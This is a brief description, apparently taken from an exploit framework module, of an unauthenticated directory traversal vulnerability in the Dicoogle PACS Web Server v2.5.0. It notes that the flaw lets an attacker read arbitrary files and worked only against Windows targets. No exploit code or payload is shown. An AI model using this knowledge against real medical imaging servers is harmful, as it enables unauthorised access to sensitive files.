        This module exploits an unauthenticated directory traversal vulnerability
        in the Dicoogle PACS Web Server v2.5.0 and possibly earlier, allowing an
        attacker to read arbitrary files with the web server privileges.
        While the application is java based, the directory traversal was only
        successful against Windows targets.
